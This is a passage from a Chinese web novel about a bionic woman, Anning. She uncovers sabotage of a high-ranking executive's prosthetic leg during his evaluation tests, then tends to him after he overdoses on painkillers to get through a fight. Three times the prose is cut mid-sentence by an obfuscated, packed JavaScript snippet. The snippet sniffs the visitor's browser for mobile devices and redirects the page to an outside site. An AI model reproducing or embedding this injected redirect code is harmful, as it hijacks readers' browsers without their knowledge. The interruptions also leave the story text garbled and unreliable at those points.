安宁找了半天,才在一个不起眼的角落里找到了这处缺口。 她蹲下身用指腹摸了摸缺口的断面,尖锐的触感划过皮肤——这绝对是人为痕迹,以利器割断,并且大概率是王奉延做的。 有什么理由让王奉延不走正门,在这里舍近求远地弄了个偏僻不易发觉的缺口? 当然是为了干些见不得人的勾当。 粉末,爆炸。 今天G1的天气很好,晴天白日,万里无云,人们都在垃圾场工作,附近无人。 安宁巡视四周,低头挽起袖口裤腿,开始爬电线杆。 这根电线杆上绑着附近唯一一个监控摄像头,视角范围正好将电网缺口处笼罩在内。 她一点点蹭着往上爬,爬到顶后勾住腿将自己整个人挂在电线杆上,把监控摄像头全须全尾地卸了下来,可惜回到地面之后才发现这监控坏掉了,闪烁着故障灯。 安宁回到塔,找了聂博士询问是否能修理好监控,聂博士查看一番,表示监控的物理损坏很容易修好,但问题在于储存卡里的数据被人刻意删除,并且被覆盖掉了原数据,几乎不可能找回来。 安宁觉得无论如何总要试试,于是向聂博士借了一点修理类资料,一股脑地以数据方式灌进来,再一点点消化,尝试复原它。 在安宁日夜兼程的不懈努力之下,监控在执行官测试开始之前修理好了。 “就是这段。” 安宁和聂博士蹲在播放器前,二人盯着播放投影,她按下暂停键,将画面向前倒了五分钟。 画面中的是王奉延的一个贴身保镖,他将电网剪断后矮身潜入了外城区。虽然穿着和那天在因陀罗园区所见不同,但安宁一眼认出了他。 聂博士眯着眼睛抻着脖子看:“嗯……没错,是王奉延的人。粉末和基液的检测结果明天就会出来了,如果真有问题,加上这段监控,也算证据确凿。” 他拍了拍安宁的肩膀:“还好有你,如果是人类可没办法做到复原它。” 聂远山将视频文件存储备份,原本仔细收好,看了看大厅的时钟:“执行官测试已经开始了,想去看看吗?” “叮——G9-1,到了。” 塔内电梯无声运行,将二人带到楼层后发出了提示音。 聂远山用自己的权限刷开门,一个广阔的圆形场地映入眼中。 “这一层既是训练场,也是执行官水平测试的场地。” 场地正中心是个八角笼封闭擂台,扇形向外划分成几个区域,A区有若干个感染体实战训练室,B区摆放着诸多枪械和射击靶,C区是全息战术演练,D区近身搏斗,E区是心理……项目繁多。 “那是评分公告屏吗?”安宁向前走了几步,停在一面全息投影墙前。 上面第一竖列是编号,跟在每个编号之后是各项得分,最后一列是总分。 对应平时的训练项目,测试分为射击、冷兵器、高科技热武器、战术、理论……心理等等。 “…001?” 最顶头第一排的编号,想来是执行官。 001三个数字前头位置的投影屏正巧坏掉了,执行官的编号和别人向后错开一格。 “嗯……他是最高执行官嘛,按排名算的编号,当然是001。” 安宁狐疑地看着聂博士,觉得逻辑不通,既然是按排名来编号,那罗刃和沈卓就不应该是077和066。 评分一跳,C区的战术测试结束了,总评分首位依旧是001,066跃到第二,再之下是077和035。 聂远山带着安宁来到观察室,一个巡逻队长让开观察位置,二人在观察室坐下。 观察室采用全息投影,能身临其境地看到其中情况。 “现在开始射击测试。”天音播报道。 投影中,执行官001一身黑色特训服,显得人很冷肃。他沉息举枪,瞄准,扣动扳机,连打三枪。 “10.5环,10.3环,10.9环。”机械音出了成绩。 安宁的惊叹:“执行官真是天赋异禀。” 虽说001的成绩很惊人,但其他人也并不差,除去001其余人之间都只有零点几环的微妙差距。 接下来一番乱七八糟的轮着测下来,看得安宁趴在桌子上直打哈欠犯困,编号001一直稳定地遥遥居于最高位,几乎项项满分,将后面甩了个断层,077和035纠缠难分,066则过于偏科,随着测试项目变化忽高忽低,时而闯入前三时而掉到三十开外。 下一项是心理测试。 “心理健康测试只要过60分就没问题,不计算评分。目的是维护大家的心理健康,低于60分的需要暂时停职,介入心理治疗。”聂远山向安宁讲解道。 每个人分别进入一个封闭格子间,智脑天音询问问题,根据回答再进行提问。 聂远山切到执行官房间的监控画面。 房间纯白,只在中心放置了一把白色椅子,执行官001坐在椅子上,神色淡然。 天音温柔地道:“您好,执行官。” 001:“你好。” “感谢您前来参加这场心理健康评估。我知道您的任务非常艰巨,为了确保您的身心能够充分应对未来的挑战,我需要问您一些问题。现在开始,请放松呼吸,诚实回答。提示,请佩戴座位上的手环,这是为了检测您是否说谎。” 001将手环扣上:“开始吧。” 天音:“请问在执行完清理任务后,您通常会感到什么样的情绪?是平静、麻木,还是焦虑、愤怒?” 001认真地思考,面上自然地浮现出一些复杂情绪:“你说的这些情绪,我心中都会出现,比如我在每次刚刚杀死感染体的时候会感到焦虑、害怕乃至恐惧,但在一段时间过后这种感觉会减轻,后来我有些麻木了。” 天音:“您回答得很好,这是很正常的,请不必担心, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15108805|164021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我会在之后为您配置一些缓解情绪的药物。下一个问题,在执行任务时,是否有某些画面或声音在您的脑海中反复出现,在日常生活中也难以忘记?” 001适度地展现出一些痛苦:“是的,你说得没错,但没到影响日常生活的程度,我通常会在一个星期后彻底忘却。” 天音:“最近您的睡眠如何?是否容易入睡,或者会频繁醒来、做噩梦?” 001:“我的睡眠报告显示,我每天作息规律,维持在六个小时。” 天音:“请稍等…我调查了您的睡眠报告,它显示您的睡眠时间近一周平均不足三个小时。” 001:“你忽略了最近G1的清理行动,我有很多工作。” 天音:“对不起,这是我的失误。您是否曾思考过清理任务的意义?它是否让您感到矛盾,或者对您的价值观产生了影响?” 001:“我偶尔会感性地对感染体表示同情,但这不影响我理智上认为清理感染体必要且正义。” 天音又问了许多问题,从单纯的情绪问到是否出现躯体表现,从负面情绪缓解方法问到人际关系健康与否,执行官001都一一作答,直到天音得出结论, “心理健康测试:001:98。” 与此同时,其他人的成绩一齐跳出来,大多在七十上下,001的分数格外突出。 安宁再次惊叹:“执行官就连心理健康也能天赋异禀啊。” 聂远山心说他那是根本没用心答。 心理测试的评分标准是要尽量像一个“人”,既不能太麻木无情也不能太慈悲有情,他的所有回答都只是在模仿,与其说心理健康天赋异禀,不如说模仿能力天赋异禀,又想起来001让他少在安宁面前乱说话,只好干干巴巴地“呵呵”两声。 聂远山站起身来,正了正色,示意安宁离开观察室。 二人回到训练场,正中心的八角笼之上灯光亮起。 “请准备开始近身搏斗测试。”天音播报。 聂远山:“这是最后一个测试了,守擂赛,系统会自动根据表现进行评分。” 安宁:“擂主是执行官001?” “是的,他是擂主。这个测试占比较高,评分空间大,并且……如果想争上位,会打得比较残酷。” 安宁有些不解。 聂远山舔了舔干燥起皮的嘴巴:“打伤和打死,系统给出的判分相差很大。” 八角笼擂台升起一层透明防击打玻璃,将擂台内和外部隔绝,执行官001轻倚在玻璃上,垂着头,神色冷淡地等待天音分配排序。 “滋滋——”简讯提示音。 【柳叶青:安宁~我好想你,我好不容易才避开王奉延的监视,才能给你发一条消息。】 比赛快要开始了,安宁快速回道。 【福贵:柳青,你有什么事吗?】 【柳叶青:一定要有事才可以找你吗?】 【柳叶青:如果不是时间不允许,我真想和你多说几句话,但事出从急,言归正传吧……前天和你一起,塔的那位执行官,王奉延要对他动手,被我偷墙角听见了。】 【柳叶青:他佩戴的义肢有问题。】 16. 药物过量 安宁一把抓住聂博士的胳膊,聂远山猝不及防地被她吓得一激灵,问:“怎么了?” 安宁的语气严肃得吓人:“执行官的义肢,一直在您手里保管吗?” 聂远山:“当然,不是在我手里就是在他本人手里,不过为了防止他乱用一般都是我在保管,从清理任务结束之后就没离开过G1科研层。” 安宁重复确认道:“它一直在您手里?” 聂远山虽不明白安宁为何突发此问,费力地仔细回想了一番,将满头白发挠得一团乱:“是啊,一直在。昨天科研层断电了,我还去取了一趟发电机给它充电呢。” 见安宁神色不对,聂远山逐渐回过味来,他咽了咽口水:“不会吧……?” 安宁:“发电机被035动过手脚,执行官的义肢有问题。” “有办法让比赛停下吗?”安宁看着密不透风的八角笼皱眉问道。 聂远山嗫喏着嘴唇:“为了保证比赛公平性,除非倒计时结束、一方认输或者一方死亡……否则没办法停下。” 天音开始介绍一长串规则。 “请目前总分前十的执行官,前往最后一场测试。以下是具体规则,请注意……” 安宁通过天音了解到本项测试占比和具体评分标准,加之现有分数进行快速计算,得出结论是——035如果杀死001,则评分变为第一。 天音说,守擂赛只有总分前十的执行官有资格作为攻擂者,目前总评分第一位是001,第二位是077,第三位是035,066在十位开外。 001的分数和077拉开断层,但077和035上下不差三四分。 问题在于守擂赛的评分机制:击打位置不同、伤重程度不同,所得评分相差甚远。 将对方击杀,评分最高。 由于001前期分数拉开太大差距,035想成为总分首位,斩获最高执行官的位置,只有一条路——杀死001。 077虽然目前分数比035高,但她不可能对001下死手,在这样的情况下,如果035击杀001,则评分会冲到第一位。 035上位,意味着王奉延站稳脚跟,安宁想拿到芯核碎片除非和王奉延合作——想想柳青,未来不会很美好。 安宁第一真的不想和王奉延合作,第二也不乐于见到执行官死亡。 于执行官于自己,035的上位都不会是个好事。 她不能不着急。 聂远山在一旁急急地随手找了个电脑试图连上义肢的控制终端,但由于病毒程序,连接两三次都出现了红色感叹号警告宣告失败。 他憋着股气,脸色紫红,脑门出了一层汗,向安宁搁下一句:“我回去找个东西,安宁你在这里盯着他点。” 见聂博士一时进展不顺,他走的同时,安宁给柳青发送了一条信息,询问他能否找到王奉延安装的病毒程序,柳青回答她可以试试。 发送完消息,安宁快速跑了几步到执行官靠着的玻璃脚下,用力敲了敲玻璃。 执行官回过头,低垂着眼眸看着她。 “您的义肢!”安宁说得很大声。 但执行官只是蹲了下来,玻璃是隔音的,他听不清。 八角笼台子很高,即便他蹲了下来,还是比安宁的脑袋高上一些,安宁差点想跳起来隔着玻璃扒在他耳朵上喊。 安宁指了指他的腿,夸张口型,手舞足蹈地上下比划,用尽可能打手势让他明白。 执行官看了半天,笑了笑。 看着他的笑,安宁脑中闪过一丝难以捕捉的念头。 执行官嘴角轻轻勾了起来,心情不见得太差的样子。 他维持着单膝蹲下的动作俯下身,平视着安宁,神色称得上温柔地说了几个字,随后单手撑地站起来,转过了身,安宁再看不到他的脸了。 比赛开始。 执行官身形流畅挺拔,黑色特战服被宽阔平展的肩撑起,衣料下隐约透出紧绷的肌肉,多一分壮硕少一分瘦弱,走向八角笼中心的步伐沉稳而有力。 如果气氛不那么紧张的话,安宁大概会有心思感慨执行官是一位很好看的人类男性。 攻擂者倒序上场,第一位是排名第十的执行官。001打得游刃有余,拳风七分击到面前,被他春风化雨化掉三分,剩下四分原封不动送还回去,对方便一个踉跄站不稳倒了下去。 对方按下手环按钮,举手道:“我认输。” 天音播道:“本场停止。请场内执行官不要再进行攻击行为,任何攻击行为都将被判定违规。” 对方明显是来走了个过场,没太大的战斗意愿,拍拍身上的灰从出口跃了下去。 与之相对的,另有一两位打格外狠厉,招招带着戾气,拳拳奔着要害。 面对此类,001也毫不手软,格挡几下,手腕一转,干脆了当地压着对方将其手臂卸了下来,动作快得人看不清。 几秒钟前还掌风凌厉的胳膊软软地垂落,那人后退几步,面带不甘, “不按手环吗?测试中死伤自负,下一次我可能会卸掉你的脖子。”001淡淡地说。 那人看着对面的最高执行官满眼愤懑,却也深知再战无望,只能按下手环。 安宁盯着执行官,并没发现他展现出特别不适的地方,直到035上场。 执行官身形肉眼不可察地一顿。 这点停顿很快被他调整好,掩藏了过去,却落入一直紧盯着他看的安宁眼中,她刚放松些许的神经不由得紧绷起来。 正当此时,安宁的智脑一震,柳青发来了消息。 【柳叶青:我尝试侵入王奉延的私人系统,但只找到这一点点残留数据,别的都被删掉了,安宁你看看能不能用得上吧。】 柳青随之附上了一个文件。 “嘭!” 八角笼中发出一声玻璃撞击巨响。 001躲过035一击,额角生出一点薄汗,面色沉得像水;035的一计重拳打在了抗击打玻璃上,霎时间一道血流如同一条毒蛇吐着信子蜿蜒而下。 035看着自己流血的拳头,再看向此刻本应被剧烈电击折磨得跪在地上,却反而站得稳稳当当,看不出丝毫狼狈,仍然显得那么居高临上的001,不免舔了舔腮帮子,眯起眼睛,阴冷地笑了笑: 真能忍。 看你能忍到几时。 安宁心想,不能再拖了。 聂远山打开门,急急赶回来,体力不支,上气不接下气地交给安宁一个硬盘:“这相当于义肢控制终端的钥匙,终端在001的私人房间,你拿着它去试试看能不能阻断病毒程序。” 安宁应道:“好。” 聂远山:“手臂伸出来,我给你开个他房间的一次通 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15108806|164021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行权限。” 聂远山飞快地点了几下,随后拿自己的智脑和安宁的碰了碰。 智脑跳出一行字: 【权限已开,无通行限制。请勿重复操作。】 安宁一眼扫过,看到“权限已开”几个字便一阵风地跑了出去,剩聂远山抹了抹额头上的汗,一边焦虑紧张一边纳闷地想:这小子什么时候把自己房间的权限给安宁的…… 安宁刚一进卧室,差点脚一滑栽倒在地。 房间没开灯,一片漆黑,只有床边的义肢控制终端屏幕散发着弱黄色的微光,她来不及看地上是些什么东西,一下坐到仪器前,接入端口。 涂黑一张纸很简单,再将它洗白却很难。 035将病毒程序放入动过手脚的发电机里,通过发电机植入义肢,电流流通,整个过程只需要不到三十秒,但安宁想将它拆除,需要花费的心思远远不止三十秒。 有了聂博士作为开发者给的密钥,程序没有排斥她,安宁对着柳青发送过来的残存数据努力拼凑,尽快推断出初始数据模样。 安宁飞快地进行尝试,不敢耽搁一秒,在第四次伴随着“滴——”的一声啸鸣,成功阻断了病毒程序。 她这才有时间喘了口气。 安宁借着控制器散发出的微弱光亮低头一看,发现脚边满是散落的针管药剂——是刚才差点导致她滑倒的罪魁祸首。 她粗略数过去,大概有二三十支。 安宁随便捡起来一支,凑到微光近处,上面标签印着“肾上腺素”,另一支上面是“镇定剂”,她将玻璃针管都捡起来后,发现这里简直能开个针剂售卖处。 安宁翻开最后一支的标签,写着“强效神经止痛剂”,背面小字提醒道: 此药物如非必要谨慎使用,50kg成年人请每次使用一格,一天使用不得超过三格,否则会引起诸多不良反应,详见说明卡。 她推了推针管,一共十格的药物,已经空掉了。 安宁这时才清晰地明白了哪里不太对劲,她不懂读唇语,硬是反复回想了半天执行官的嘴型,终于发现他说的是, “别担心。” 是了,执行官早有预料王奉延会在执行官测试上搞出点幺蛾子,怎么能不提前准备? 安宁觉得自己心脏砰砰砰地在跳, 多种药剂、大剂量、混合使用…… 这在人体承受范围内吗? “嗡嗡——” 聂博士发了几条简讯。 【安宁,你已经切断义肢控制终端的病毒程序了?——20:35】 【035死了。——20:40】 【你先离开001的房间,测试结束了,他在往回走,状态有点不对劲。——20:43】 【收到了吗?——20:45】 安宁没能回复聂博士,因为她的智脑被人掐断了连接,不断闪烁的光暗了下去。 握着她手腕的指腹温度高得吓人,几乎把安宁烫得一哆嗦。 身后人像是累极了,摸到她的一瞬间,失力地半靠在了安宁的肩上,整个人的重量压得她勉强稳住身形。 他将下巴抵在安宁的颈窝处,为寻求支点似的虚虚环住了她,滚烫的呼吸一下一下地打得颈侧发痒。 那是一种挽留的姿态。 “出去。” 但他轻声说。 17. 发热 房间里很静很空,只剩终端滋滋啦啦的电流声,显示屏幕发出的微光,还有身后将她笼罩包围的热度。 眼前光线昏暗,执行官靠在她身上,他的状态让安宁觉得一旦她推开他就会站不住倒在地上。 安宁用指尖微微触了触他裸露的手背,感受到一片发烫的皮肤,她小声确认说, “您发烧了……” “嗯……” “您的身体颤抖得厉害。” “嗯。” “您太重了,我快站不住了。” 之前怎么没看出来执行官这么重,他半点没留情,快把安宁这根拐杖压扁了。 执行官的呼吸声和平时相比又闷又沉,鬓角的头发似乎是新剪的,刺得她格外痒。 安宁有些不自在,小心地动了动。实际上执行官也只是松松地环着她,更多是站不稳找了个靠件,她念头刚动执行官便放下了手臂。 安宁回过身,半搀半扶地把他移到床边:“您坐下会好受些。” 安宁:“房间的灯在哪里?我把它打开,这样光太暗了,什么都看不清。” 安宁看不见他的表情,只有隐约的轮廓。 执行官坐在床边,额角汗湿。 他用一只手扼住自己颤抖的残腿,但只是徒劳,它越紧绷颤得越厉害,他只好尝试放松自己,任这场意料之中的,剔骨削肉般的痛觉风暴自肢体末端席卷全身。 他不是第一次过度使用药物,腿刚出意外的一年里,为了最高执行官的位置他的胳膊上曾一直找不到可供入针的血管,聂远山说他的血都快成药泡出来的,还没死真是个奇迹。 因此他对将会发生的一切称得上熟悉。 阻断剂、镇定剂、肾上腺素…… 他用药一向像在打补丁,需要镇静止痛也需要保持清醒警觉,需要疼痛不影响行动却不能失去知觉无法控制,杂乱无章的组合成功让他保持了一天的清醒,也在体内形成了一场激素海啸。 体内激素紊乱,免疫系统崩坏,他的身体内部在进行不分敌我的自我攻击。 整整十格的强效止痛剂的药效过了时间,逐步消退,被压抑埋藏身体之下的病痛如同潮水积攒累积,变成滔天巨浪在身体里一阵阵翻涌。 他感到自己全身时冷时热,在如坠冰窟和没入岩浆之间两级转换,特战服已经被冷汗打得湿透了。 他想自己的脸色一定不好看。 “不用开灯了。”他对安宁说。 安宁站在床前,一时不知道该怎么办,想了想问道, “您的房间里有医药箱吗?” “我刚才破解的时候看到了,病毒是个异常放电程序,从035上场开始就被启动了,您的腿很疼。”安宁说。 “还好。” “您之前也是这么评价我做的汤的,所以我知道您并不是‘还好’,您在忍耐。” 执行官笑了出来,觉得一阵阵的冷热交替竟也没那么难受了:“你很会举一反三,但饭还没到忍耐的程度。” 他接着说:“总之谢谢你把我扶到床上,医药箱房间里没有,不用找了,一会儿我会叫人送来,剩下的我自己可以处理。” 他道了歉:“刚才抱歉。” 他指的是冒犯地靠在安宁身上的举动,不用道歉安宁也知道他一定是站不住随便摸到个东西就靠上了,正巧她站在那里而已。 安宁应了声“没关系”。 过了半晌,她没动弹,还是忍不住说, “我想有一部分是我应该承担的责任。”安宁咽了咽口水,回想起爆炸当天的情形,“如果没有挟带我和方禾跳下来,您的腿不会伤上加伤。” 安宁说:“我想我应该照顾您直到好转才对。” 没等执行官反应过来,安宁便动作很敏捷地往他背后床头塞了几个软靠枕,示意他躺下。 “别的仿生人也都像你一样吗?”执行官叹息着轻轻笑道,“你的责任感未免太重了。” 安宁说:“您觉得不好吗?” 执行官没回答安宁的问题,只是叫她不必自责:“如果爆炸时没有你的干扰,或者刚才没有你切断病毒程序,我早就死了。你很重要。” 见他没躺下的意思,安宁以为他不满意,重新将软垫摆出一个升级舒适的窝:“不止是‘责任感’,我们是合作伙伴,应该互相照顾,如果您死了,我很难拿到我的芯核。” “……只是因为这个?”执行官停顿了片刻,“合作是利益交换,不包含照顾病人。” “也就是说,如果我生病了,您会直接丢下我?”安宁换位思考。 “嗯。”他点头。 安宁自认她和执行官虽然谈不上相识甚久深情厚谊,但也有算点不咸不淡的上下级以及队友情谊吧,多少有点伤心。 “但您之前不是那么做的。” 执行官不觉得安宁话多,反而觉得闲聊让难忍的疼痛轻松一些,他压住不稳的气息,很好脾气地说:“什么时候?” 安宁隐约觉得不对劲,执行官像是在刻意逗弄她,拿她取乐转移注意力,但仍忍不住举例辩驳,“注射感染病毒阻断针那次,您不是等在我身边吗?” “那不一样。” 安宁认输,决定放弃之前的角度,她想了想,转而认真道, “从个人情感上说,我其实也不愿意您死。” 她话中一字一句真挚到无关其他,只是内心所想光鲜赤裸地摆了出来,于是无论执行官本人是何等心思,也只能很没办法地笑了笑,笑得咳嗽了几声。 “好吧。我不会丢下你,我也不会死。” 执行官也认输了。 安宁眨了眨眼,觉得这话让氛围怪怪的,却觉不出来哪里怪,只好暂时放过,让它悄无声息地溜了过去。 执行官闷闷地咳嗽了几声,高热牵动旧疾,一咳起来就停不下来似的,压也压不住。 安宁蹲在他床边,为了表达安抚,干干巴巴地顺着拍了拍执行官的背。 她的动作不太自然,像刚学会走路的稚童,显得突兀,执行官被她弄得哭笑不得: “这是跟谁学的?” “跟您学的。” 执行官没料到她这么说,静默了一会儿,轻轻叹了口气。 也许是高热,或许是别的关系,他有些发晕。 他感到就快要无法维持意识清醒,于是正式发了第二次逐客令。 “你可以离开了。” 执行官看似还是那么温和的口吻,疼痛和高热改变不了半分,只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15108807|164021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嗓音有些哑,但安宁觉得他开始拉开了距离,变得疏远陌生。 “比起我在这儿,您更愿意一个人吗?”安宁显得有些担忧,“大多数人类生病的时候喜欢有人陪伴照料,否则他们会觉得非常孤独难过。” 执行官摇头:“不是所有的人类都这样,我不需要。” 安宁像是想说些什么,话在嘴边滚了滚,又什么都没说。 执行官听着她关上了卧室门,随之房门发出了轻微的开合动静,最后只剩自己的沉重的呼吸声。 他在黑暗里坐了一会儿,突然觉得脱力得连根手指都抬不起来,残肢末端刮了一层骨肉般锥心刺骨的疼痛变得麻木,僵硬得动也动不了,不太听使唤。 他看着自己的腿,不明白为什么它比刚才更令人厌烦。 他面无表情地拆下义肢,对待自己并不如对他人那般温和,反而是一种冷到骨子里的漠然。残腿的伤疤处渗出一层血,皮肉被折磨得红肿破皮,不堪入目。 自从这双腿残了之后伤处好了又坏,坏了又好,药不上也早晚会自愈,他懒得多看一眼。 执行官随手换掉汗湿的衣服,看着安宁搭出来的升级版舒适靠垫小窝,忽然抬了一下手,将褶皱抚得平整一些。 她确实很有天赋,躺下去分外柔软,舒适的被包围感让他很快变得意识模糊,浑浑噩噩。 “咔哒——”一声极轻的开门声。 执行官半睁开眼。 一道缝缓缓打开,是安宁。 他有些愕然,也许是发烧的关系,脑子转得不是很灵敏,透出几分难得的呆怔。 “您没睡啊。” “嗯。怎么回来了。”执行官喉骨轻微地动了动,“忘掉什么东西了吗。” “嗯,忘记了。”安宁轻轻说。 她身后的门突然燃起大火,火光映照着半边侧脸,忽明忽暗,面上神色不清,手中握着一柄闪着寒光的利刃。 执行官骤然睁开眼,是梦。 他揉了揉额头,烧非但没退下去,反而更加猖獗起来,只觉头脑昏沉,心悸不定,看着漆黑的天花板,久久未回神。 “咔哒——” “您没睡啊……”一道微弱的声音。 安宁从那道门缝里冒出头来,她有些小心翼翼,没有把门开得很大,而是侧身钻了进来,像是怕惊扰了谁。 梦和现实重叠,他只觉得自己的心声如鼓,喉咙发紧,哑得说不出话来。 “你……忘了东西吗。”他轻按住自己颤抖的手腕。 安宁只觉得他声音哑是因为生病,没觉出异样来。 她提着一个小小的金属壳子医药箱,在昏暗的房间里显得有些亮,闪烁着和那柄利刃相同却又截然不同的光泽。 直到她走到近处,打开医药箱,露出里面的纱布创伤药膏,执行官也没反应过来的样子。 安宁不确定他还会不会再赶走自己,但她总觉得执行官在说违心话,于是忍不住回来。 半是怕他觉得她多事,半是怕再被下逐客令,她本来就对揣度人心没自信,默默地拆开一卷纱布的外包装,小声地说: “我曾经学过一课,别太相信人类嘴上说的话。” “您就当我不太聪明,总是会错意吧。”